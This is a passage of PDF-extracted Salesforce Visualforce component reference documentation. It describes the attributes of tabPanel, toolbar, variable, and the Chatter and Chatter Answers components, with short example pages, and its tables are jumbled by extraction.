global The CSS style class used to display all portions of the tab component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The implementation method for switching to this tab. Possible values include "client", "server", and "ajax". If not specified, this value defaults to "server". If specified, this value overrides the switchTab attribute on the tabPanel component.
The amount of time (in milliseconds) before an AJAX update request should time out. Note that this value is only applicable when the value of the switchType attribute is set to "ajax".
10.0
10.0
global global
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
global
apex:tabPanel
A page area that displays as a set of tabs. When a user clicks a tab header, the tab's associated content displays, hiding the content of other tabs.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<table >
tag that contains all of the tabs.
Simple Example
<!-- Page: -->
<apex:page id= "thePage" >
<apex:tabPanel switchType= "client" selectedTab= "name2" id= "theTabPanel" >
<apex:tab label= "One" name= "name1" id= "tabOne" >content for tab one </apex:tab >
<apex:tab label= "Two" name= "name2" id= "tabTwo" >content for tab two </apex:tab >
</apex:tabPanel >
</apex:page >
Advanced Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<!-- This example shows how to use the tabClass and inactiveTabClass attributes to change the default styling of the tab bar. Note that in the style definitions,
543
Standard Component Reference apex:tabPanel
'background-image:none' is required to override the default image with the specified color. You can also provide your own image with .css styles. -->
<apex:page standardController= "Account" showHeader= "true" >
<!-- Define Tab panel .css styles -->
<style >
.activeTab {background-color: #236FBD; color:white; background-image:none}
.inactiveTab { background-color: lightgrey; color:black; background-image:none}
</style >
<!-- Create Tab panel -->
<apex:tabPanel switchType= "client" selectedTab= "name2" id= "AccountTabPanel" tabClass= 'activeTab' inactiveTabClass= 'inactiveTab' >
<apex:tab label= "One" name= "name1" id= "tabOne" >content for tab one </apex:tab >
<apex:tab label= "Two" name= "name2" id= "tabTwo" >content for tab two </apex:tab >
</apex:tabPanel >
</apex:page >
Attributes
Attribute Name Attribute Type
activeTabClass contentClass contentStyle dir disabledTabClass headerAlignment headerClass headerSpacing
String
String
String
String
String
String
String
String
Description
The style class used to display a tab header in the tabPanel when it is selected, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The style class used to display tab content in the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global
10.0
global The style used to display tab content in the tabPanel component, used primarily for adding inline CSS styles.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
The style class used to display a tab header in the tabPanel when it is disabled, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
global global
The side of the tabPanel to which tab headers are aligned.
Possible values include "left" or "right". If not specified, this value defaults to "left".
The style class used to display all tab headers, regardless of whether or not they are selected, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The distance between two adjacent tab headers, in pixels. If not specified, this value defaults to 0.
10.0
11.0
10.0
global global global
544
Standard Component Reference apex:tabPanel
Attribute Name Attribute Type
height id immediate inactiveTabClass lang onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover
String
String
Boolean
String
String
String
String
String
String
String
String
String
String
String
Description
The height of the tab bar, expressed either as a percentage of the available vertical space (for example, height="50%") or as a number of pixels (for example, height="200px"). If not specified, this value defaults to 100%.
Required?
API
Version
Access
10.0
global
10.0
global An identifier that allows the tabBar component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
11.0
global
10.0
global The style class used to display a tab header in the tabPanel when it is not selected, used primarily to designate which
CSS styles are applied when using an external CSS stylesheet.
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the tabPanel.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the tabPanel twice.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the tabPanel component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the tabPanel component.
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global
545
Standard Component Reference apex:tabPanel
Attribute Name Attribute Type
onmouseup rendered reRender selectedTab style styleClass switchType tabClass title value width
String
Boolean
Object
Object
String
String
String
String
String
Object
String
Description
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
Required?
API
Version
Access
10.0
global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of an AJAX update request returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs. Note that this value only applies when the switchType attribute is set to "ajax".
The name of the default selected tab when the page loads.
This value must match the name attribute on a child tab component. If the value attribute is defined, the selectedTab attribute is ignored.
The style used to display the tabPanel component, used primarily for adding inline CSS styles.
The style class used to display the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
10.0
10.0
10.0
10.0
global global global global
10.0
global The implementation method for switching between tabs.
Possible values include "client", "server", and "ajax". If not specified, this value defaults to "server".
The style class used to display the tabPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
global global
The current active tab. You can specify this with an expression to dynamically control the active tab. For example, value="{!TabInFocus}", where TabInFocus is a variable set by a custom controller. The value of this attribute overrides the one set in selectedTab.
The width of the tabPanel, expressed either as a percentage of the available horizontal space (for example, width="50%") or as a number of pixels (for example, width="800px"). If not specified, this value defaults to 100%.
10.0
10.0
global global
546
Standard Component Reference apex:toolbar
apex:toolbar
A stylized, horizontal toolbar that can contain any number of child components. By default, all child components are aligned to the left side of the toolbar. Use an
<apex:toolbarGroup >
component to align one or more child components to the right.
Example
<!-- Page: sampleToolbar-->
<apex:page id= "thePage" >
<!-- A simple example of a toolbar -->
<apex:toolbar id= "theToolbar" >
<apex:outputText value= "Sample Toolbar" />
<apex:toolbarGroup itemSeparator= "line" id= "toobarGroupLinks" >
<apex:outputLink value= "http://www.salesforce.com" > salesforce
</apex:outputLink >
<apex:outputLink value= "http://developer.salesforce.com" > apex developer network
</apex:outputLink >
</apex:toolbarGroup >
<apex:toolbarGroup itemSeparator= "line" location= "right" id= "toobarGroupForm" >
<apex:form id= "theForm" >
<apex:inputText id= "theInputText" >Enter Text </apex:inputText >
<apex:commandLink value= "search" id= "theCommandLink" />
</apex:form >
</apex:toolbarGroup >
</apex:toolbar >
</apex:page >
<!-- Page: toolBarEvents-->
547
Standard Component Reference apex:toolbar
<apex:page id= "anotherPage" >
<!-- A simple toolbar that includes toolbar events.
-->
<apex:pageMessages/ >
<apex:form >
<apex:toolbar onclick= "alert('You clicked the mouse button on a component in the toolbar.')" onkeydown= "alert('You pressed a keyboard key in a component in the toolbar.')" onitemclick= "alert('You clicked the mouse button on a component that is ' +
'not in a toolbarGroup.' ) " onitemkeydown= "alert('You pressed a keyboard key in a component that is ' +
'not in a toolbarGroup.' ) ">
<apex:inputText/ >
Click outside of a toolbargroup
<apex:toolbarGroup > <apex:inputText/ >Click in a toolbarGroup </apex:toolbarGroup >
</apex:toolbar >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
contentClass contentStyle height
String
String
String
Description
The style class used to display each child component in the toolbar, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
10.0
global
10.0
global The style used to display each child component in the toolbar, used primarily for adding inline CSS styles.
The height of the toolbar, expressed as a relative percentage of the total height of the screen (for example, height="5%") or as an absolute number of pixels (for example, height="10px"). If not specified, this value defaults to the height of the tallest component.
10.0
global
548
Standard Component Reference apex:toolbar
Attribute Name Attribute Type
id itemSeparator onclick ondblclick onitemclick onitemdblclick onitemkeydown onitemkeypress onitemkeyup onitemmousedown onitemmousemove onitemmouseout onitemmouseover onitemmouseup
String
String
String
String
String
String
String
String
String
String
String
String
String
String
Description
An identifier that allows the toolbar component to be referenced by other components in the page.
The symbol used to separate toolbar components. Possible values include "none", "line", "square", "disc", and "grid". If not specified, this value defaults to "none".
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the toolbar.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the toolbar twice.
The JavaScript invoked if the user clicks on a component in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user clicks twice on a component in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user presses a keyboard key on a component in the toolbar that is not in a toolbarGroup component.
Required?
API
Version
Access
10.0
global
10.0
16.0
16.0
16.0
16.0
16.0
global
16.0
The JavaScript invoked if the user presses or holds down a keyboard key on an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user releases a keyboard key on an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user clicks a mouse button on an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user moves the mouse pointer while focused on an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user moves the mouse pointer away from the an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user moves the mouse pointer over an item in the toolbar that is not in a toolbarGroup component.
The JavaScript invoked if the user releases a mouse button on an item in the toolbar that is not in a toolbarGroup component.
16.0
16.0
16.0
16.0
16.0
16.0
549
Standard Component Reference apex:toolbarGroup
Attribute Name Attribute Type
onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered separatorClass style styleClass width
String
String
String
String
String
String
String
String
Boolean
String
String
String
String
Description
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
Required?
API
Version
Access
16.0
16.0
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
16.0
16.0
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the toolbar.
he JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the toolbar.
16.0
16.0
16.0
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the toolbar is rendered on the page. If not specified, this value defaults to true.
The style class used to display the toolbar component separator, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. See also the itemSeparator attribute.
The style used to display the toolbar, used primarily for adding inline CSS styles.
The style class used to display the toolbar, used primarily to designate which CSS styles are applied when using an external
CSS stylesheet.
The width of the toolbar, expressed as a relative percentage of the total width of the screen (for example, width="5%") or as an absolute number of pixels (for example, width="10px").
If not specified, this value defaults to 100%.
16.0
10.0
10.0
10.0
10.0
10.0
global global global global global
apex:toolbarGroup
A group of components within a toolbar that can be aligned to the left or right of the toolbar. The
<apex:toolbarGroup > component must be a child component of an
<apex:toolbar >
.
550
Standard Component Reference apex:toolbarGroup
Example
<!-- Page: -->
<apex:page id= "thePage" >
<apex:toolbar id= "theToolbar" >
<apex:outputText value= "Sample Toolbar" />
<apex:toolbarGroup itemSeparator= "line" id= "toobarGroupLinks" >
<apex:outputLink value= "http://www.salesforce.com" >salesforce </apex:outputLink >
<apex:outputLink value= "http://developer.salesforce.com" >apex developer network </apex:outputLink >
</apex:toolbarGroup >
<apex:toolbarGroup itemSeparator= "line" location= "right" id= "toobarGroupForm" >
<apex:form id= "theForm" >
<apex:inputText id= "theInputText" >Enter Text </apex:inputText >
<apex:commandLink value= "search" id= "theCommandLink" />
</apex:form >
</apex:toolbarGroup >
</apex:toolbar >
</apex:page >
Attributes
Attribute Name Attribute Type
id itemSeparator location onclick ondblclick onkeydown onkeypress onkeyup
String
String
String
String
String
String
String
String
Description
An identifier that allows the toolbarGroup component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
The symbol used to separate toolbar components in the toolbarGroup. Possible values include "none", "line", "square",
"disc", and "grid". If not specified, this value defaults to "none".
10.0
global
10.0
global The position of the toolbarGroup in the toolbar. Possible values include "left" or "right". If not specified, this value defaults to "left".
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the toolbarGroup.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the toolbarGroup twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
11.0
11.0
11.0
11.0
global global global global
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
11.0
global
551
Standard Component Reference apex:variable
Attribute Name Attribute Type
onmousedown onmousemove onmouseout onmouseover onmouseup rendered separatorClass style styleClass
String
String
String
String
String
Boolean
String
String
String
Description
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the toolbarGroup component.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the toolbarGroup component.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style class used to display the toolbar component separator, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. See also the itemSeparator attribute.
The CSS style used to display the toolbar group, used primarily for adding inline CSS styles.
The style class used to display the toolbar group, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
Required?
API
Version
Access
11.0
global
11.0
11.0
11.0
11.0
10.0
10.0
10.0
10.0
global global global global global global global global
apex:variable
A local variable that can be used as a replacement for a specified expression within the body of the component. Use
<apex:variable > to reduce repetitive and verbose expressions within a page.
Note:
<apex:variable >
does not support reassignment inside of an iteration component, such as
<apex:dataTable >
or
<apex:repeat >
. The result of doing so, e.g., incrementing the
<apex:variable >
as a counter, is unsupported and undefined.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
552
Standard Component Reference apex:vote
<!-- Page: -->
<apex:page controller= "variableCon" >
<apex:variable var= "c" value= "{!contact}" />
<p >Greetings, {!c.LastName}.
</p >
</apex:page >
/*** Controller ***/ public class variableCon {
Contact contact; public Contact getContact() { if (contact == null ){ contact = [select LastName from Contact where id = :ApexPages.currentPage().getParameters().get( 'id' )];
} return contact;
}
}
Attributes
Attribute Name Attribute Type
id rendered value var
String
Boolean
Object
String
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The expression that can be represented by the variable within the body of the variable component.
Yes 10.0
global
The name of the variable that can be used to represent the value expression within the body of the variable component.
Yes 10.0
global
apex:vote
A component that displays the vote control for an object that supports it.
Attributes
Attribute Name Attribute Type
id
String
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
553
Standard Component Reference chatter:feed
Attribute Name Attribute Type
objectId rendered rerender
String
Boolean
String
Description
An identifier for the object to vote on.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The area(s) of the page that are refreshed when the action is taken.
Required?
API
Version
Access
Yes 26.0
14.0
35.0
global
chatter:feed
Displays the Chatter EntityFeed for a record or an UserProfileFeed for a user. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component. Note also that the chatter:feed component doesn't support feedItemType when the EntityId entity is a user. Use SOQL to filter on the UserProfileFeed object's Type field instead.
Attributes
Attribute Name Attribute Type
entityId feedItemType id onComplete rendered reRender showPublisher id
String
String
String
Boolean
Object
Boolean
Description
Entity ID of the record for which to display the feed; for example, Contact.Id
The feed item type on which the Entity or UserProfileFeed is filtered. See FeedItem in the Object Reference for Salesforce and Force.com (under Type) for accepted values.
An identifier that allows the component to be referenced by other components in the page.
The JavaScript function to call after a post or comment is added to the feed
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
Yes 20.0
20.0
14.0
20.0
14.0
global global
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
Displays the Chatter publisher. In archived groups, the publisher is hidden regardless of the value specified.
20.0
20.0
554
Standard Component Reference chatter:feedWithFollowers
chatter:feedWithFollowers
An integrated UI component that displays the Chatter feed for a record, as well as its list of followers. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Do not include this component inside an
<apex:form >
tag.
Attributes
Attribute Name Attribute Type
entityId id onComplete rendered reRender showHeader id
String
String
Boolean
Object
Boolean
Description
Entity ID of the record for which to display the feed; for example, Contact.Id
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
Yes 20.0
14.0
global
20.0
The JavaScript invoked when the result of an AJAX update request completes on the client
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
Shows a metabar header that includes UI tags, a Show/Hide button, and a Follow/Unfollow button
14.0
20.0
20.0
global
chatter:follow
Renders a button for a user to follow or unfollow a Chatter record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id id
String
Description Required?
API
Version
Access
20.0
Entity ID of the record for which to display the follow or unfollow button; for example, Contact.Id
An identifier that allows the component to be referenced by other components in the page.
Yes
14.0
global
555
Standard Component Reference chatter:followers
Attribute Name Attribute Type
onComplete rendered reRender
String
Boolean
Object
Description
The JavaScript function to call after the follow/unfollow event completes
Required?
API
Version
Access
20.0
14.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
20.0
chatter:followers
Displays the list of Chatter followers for a record. Note that Chatter components are unavailable for Visualforce pages on Force.com sites.
Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id rendered id
String
Boolean
Description
Entity ID of the record for which to display the list of followers; for example, Contact.Id
Required?
API
Version
Access
Yes 20.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
chatter:newsfeed
Displays the Chatter NewsFeed for the current user. Note that Chatter components are unavailable for Visualforce pages on Force.com
sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
id
String
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
556
Standard Component Reference chatter:userPhotoUpload
Attribute Name Attribute Type
onComplete rendered reRender
String
Boolean
Object
Description
The JavaScript function to call after a post or comment is added to the feed
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
Required?
API
Version
Access
24.0
14.0
24.0
global
chatter:userPhotoUpload
Uploads a user’s photo to their Chatter profile page. To use this component, you must enable Chatter in the org. Users must belong to either Standard User, Portal User, High Volume Portal User, or Chatter External User profiles.
Attributes
Attribute Name Attribute Type
id rendered showOriginalPhoto
String
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Displays the photo in its original format instead of the default cropped format.
14.0
28.0
global
chatteranswers:aboutme
Chatter Answers profile box which contains the user photo, username, the Edit my settings link, and the Sign out link. The profile box is accessible only to authenticated users. Use with other Chatter Answers components to create a customized experience for your Chatter
Answers users.
This example displays the Chatter Answers aboutme component.
<apex:page showHeader= "true" >
<chatteranswers:aboutme communityId= "09axx00000000HK" />
</apex:page >
557
Standard Component Reference chatteranswers:allfeeds
Attributes
Attribute Name Attribute Type
communityId id noSignIn rendered
String
String
Boolean
Boolean
Description
Zone in which to display the feed.
An identifier that allows the component to be referenced by other components in the page.
A flag that disables the sign-on option for the feed.
Yes
Required?
API
Version
Access
29.0
14.0
global
29.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
chatteranswers:allfeeds
Displays the Chatter Answers application, including the feed, filters, profiles, and the Sign Up and Sign In buttons. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
articleLanguage communityId filterOptions forceSecureCustomWebAddress id jsApiVersion noSignIn
String id
String
Boolean
String
Double
Boolean
Description
The language in which the articles must be retrieved.
Zone in which to display the feed.
You can select any of the following options as filters in the
Q&A feed: 'AllQuestions', 'UnansweredQuestions',
'UnsolvedQuestions', 'SolvedQuestions', 'MyQuestions',
'MostPopular', 'DatePosted', 'RecentActivity'.
This attribute was deprecated in Salesforce API version 29.0
and has no effect on the page.
An identifier that allows the component to be referenced by other components in the page.
JavaScript API version
A flag that disables the sign-on option for the feed.
Required?
API
Version
Access
Yes
24.0
24.0
24.0
24.0
14.0
24.0
24.0
global
558
Standard Component Reference chatteranswers:changepassword
Attribute Name Attribute Type
rendered useUrlRewriter
Boolean
Boolean
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
A flag that rewrites URLs based on the Sites URL Rewriter.
24.0
chatteranswers:changepassword
Displays the Chatter Answers change password page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
14.0
global
chatteranswers:datacategoryfilter
Chatter Answers data category filter, which let users filter feeds by data category. Use with other Chatter Answers components to create a customized experience for your Chatter Answers users.
This example displays the Chatter Answers datacategoryfilter component.
<apex:page showHeader= "true" >
<chatteranswers:datacategoryfilter communityId= "09axx00000000HK" />
</apex:page >
Attributes
Attribute Name Attribute Type Description
communityId string Zone in which to display the feed.
559
Required?
API
Version
Access
Yes 29.0
Standard Component Reference chatteranswers:feedfilter
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
chatteranswers:feedfilter
The feed filter lets users sort and filter the feeds that appear in Chatter Answers.
This example displays the Chatter Answers feedfilter component.
<apex:page showHeader= "true" >
<chatteranswers:feedfilter/ >
</apex:page >
Attributes
Attribute Name Attribute Type
filterOptions id rendered
String
String
Boolean
Description
The options show in Chatter Answers Filter, can be
'AllQuestions', 'UnansweredQuestions', 'UnsolvedQuestions',
'SolvedQuestions', 'MyQuestions', 'MostPopular', 'DatePosted',
'RecentActivity'.
Required?
API
Version
Access
29.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
chatteranswers:feeds
Chatter Answers feed, which let users browse questions and articles and post replies to questions within a zone. Use with other Chatter
Answers components to create a customized experience for your Chatter Answers users.
560
Standard Component Reference chatteranswers:forgotpassword
This example displays the Chatter Answers feeds component.
<apex:page showHeader= "true" >
<chatteranswers:feeds communityId= "09axx00000000HK" />
</apex:page >
Attributes
Attribute Name Attribute Type
articleLanguage communityId id jsApiVersion noSignIn rendered useUrlRewriter
String
String
String
Double
Boolean
Boolean
Boolean
Description Required?
API
Version
Access
29.0
The language in which the articles must be retrieved.
Zone in which to display the feed.
An identifier that allows the component to be referenced by other components in the page.
JavaScript API version
Yes
A flag that disables the sign-on option for the feed.
29.0
14.0
29.0
29.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A flag that rewrites urls based on the Sites URL Rewriter.
14.0
29.0
global
chatteranswers:forgotpassword
Displays the Chatter Answers forgot password page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
id rendered useUrlRewriter
String
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
A flag that rewrites urls based on the Sites URL Rewriter.
24.0
561
Standard Component Reference chatteranswers:forgotpasswordconfirm
chatteranswers:forgotpasswordconfirm
Displays the Chatter Answers password confirmation page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
id rendered useUrlRewriter
String
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
14.0
global
A flag that rewrites urls based on the Sites URL Rewriter.
24.0
chatteranswers:guestsignin
Chatter Answers Sign In and Sign Up buttons. These buttons are accessible only to guest users. Use with other Chatter Answers components to create a customized experience for your Chatter Answers users.
This example displays the Chatter Answers Guest SignIn component.
<apex:page showHeader= "true" >
<chatteranswers:guestsignin/ >
</apex:page >
Attributes
Attribute Name Attribute Type
id rendered useUrlRewriter
String
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A flag that rewrites URLs based on the Sites URL Rewriter.
14.0
29.0
global
562
Standard Component Reference chatteranswers:help
chatteranswers:help
Displays the Chatter Answers help page (FAQ) to your customers.
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
chatteranswers:login
Displays the Chatter Answers sign in page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
id rendered useUrlRewriter
String
Boolean
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
A flag that rewrites urls based on the Sites URL Rewriter.
24.0
chatteranswers:registration
Displays the Chatter Answers registration page.
This example displays the Chatter Answers registration component.
<apex:page showHeader= "true" >
<chatteranswers:registration hideTerms= "false" useUrlRewriter= "false" profileId= "00exx0000000000" registrationClassName= "ChatterAnswersRegistration" />
563
Standard Component Reference
</apex:page > chatteranswers:searchask
Attributes
Attribute Name Attribute Type
hideTerms id profileId registrationClassName rendered useUrlRewriter
Boolean
String id
String
Boolean
Boolean
Description
Flag to hide Terms and Conditions section.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
24.0
14.0
global
24.0
If this component is accessed through a Salesforce
Community, it represents the profile ID of the self-registered user. This profile is used only for Salesforce Community site registration and not for standalone Force.com site registration.
The name of the Apex class that implements the
ChatterAnswers.AccountCreator Apex interface. If unused,
Chatter Answers registration uses the generated
ChatterAnswers or ChatterAnswersRegistration Apex class.
24.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A flag that rewrites urls based on the Sites URL Rewriter.
14.0
24.0
global
chatteranswers:searchask
Search bar and button that lets users search for questions and articles and ask questions within a zone. Use with other Chatter Answers components to create a customized experience for your Chatter Answers users.
This example displays the Chatter Answers searchask component.
<apex:page showHeader= "true" >
<chatteranswers:searchask communityId= "09axx00000000HK" />
</apex:page >
564
Standard Component Reference chatteranswers:singleitemfeed
Attributes
Attribute Name Attribute Type
communityId id noSignIn rendered searchLanguage useUrlRewriter string
String
Boolean
Boolean
String
Boolean
Description
Zone in which to display the feed.
An identifier that allows the component to be referenced by other components in the page.
A flag that disables the sign-on option for the feed.
Required?
API
Version
Access
Yes 29.0
14.0
29.0
14.0
global global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The language in which the articles must be retrieved.
A flag that rewrites URLs based on the Sites URL Rewriter.
29.0
29.0
chatteranswers:singleitemfeed
Displays the Chatter Answers feed for a single case and question. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
entityId id rendered id
String
Boolean
Description
Entity ID of the case for which to display the feed.
An identifier that allows the component to be referenced by other components in the page.
Yes
Required?
API
Version
Access
24.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
flow:interview
This component embeds a Flow interview in the page.
Example
<!-- Page: -->
<apex:page controller= "exampleCon" >
565
Standard Component Reference flow:interview
<!-- embed a simple flow -->
<flow:interview name= "my_flow" interview= "{!my_interview}" > </flow:interview >
<!-- get a variable from the embedded flow using my_interview.my_variable -->
<apex:outputText value= "here is my_variable : {!my_interview.my_variable}" />
</apex:page >
/*** Controller ***/ public class exampleCon {
Flow.Interview.my_flow my_interview {get; set;}
}
Attributes
Attribute Name
allowShowPause buttonLocation
Attribute Type
Boolean
String
Description
